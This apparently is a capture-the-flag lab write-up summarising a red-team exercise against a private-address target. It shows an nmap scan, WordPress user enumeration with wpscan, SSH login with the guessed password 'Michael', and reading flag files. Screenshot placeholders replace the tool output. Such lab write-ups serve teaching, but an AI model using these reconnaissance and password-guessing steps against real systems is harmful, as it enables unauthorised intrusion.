**Red Team: Summary of Operations**

**Table of Contents**

* Exposed Services
* Critical Vulnerabilities
* Exploitation

**Exposed Services**

Nmap scan results for each machine reveal the below services and OS details:

Command: nmap -sV 192.168.1.110

Output:

Text

Description automatically generated

This scan identifies the services below as potential points of entry:

* Target 1
  + Port 22/TCP Open SSH
  + Port 80/TCP Open HTTP
  + Port 111/TCP Open RPCBIND
  + Port 139/TCP Open netbios-ssn
  + Port 445/TCP Open netbios-ssn

The following vulnerabilities were identified on each target:

* Target 1
  + User Enumberation
  + Weak Password (Users)
  + Unsalted User Password Hash
  + Privilege Escalation

**Exploitation**

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

* Target 1
  + Flag1: {b9bbcb33e11b80be759c4e844862482d}
    - Exploit Used
      * Enumerate Wordpress
      * wpsan –url <http://192.168.1.110/wordpress> --enumerate u

Text

Description automatically generated

* + Michael
    - SSH into
    - Guessed weak password.
    - Directory Traversal to locate flag.
      * ssh [michael@192.168.1.110](mailto:michael@192.168.1.110) -p 22
      * Password: Michael
      * cd ../../
      * cd var/www/html
      * cat service.html

Text

Description automatically generated

* + Flag2: {fc3fd58dcdad9ab23faca6e9a36e581c}
    - **Exploit Used**
      * Enumerate Wordpress
      * wpsan –url <http://192.168.1.110/wordpress> --enumerate u

Text

Description automatically generated

* + Michael
    - SSH into
    - Guessed weak password.
    - Directory Traversal to locate flag.
      * ssh [michael@192.168.1.110](mailto:michael@192.168.1.110) -p 22
      * Password: Michael
      * cd ../../
      * cd var/www
      * cat flag2.txt

Text

Description automatically generated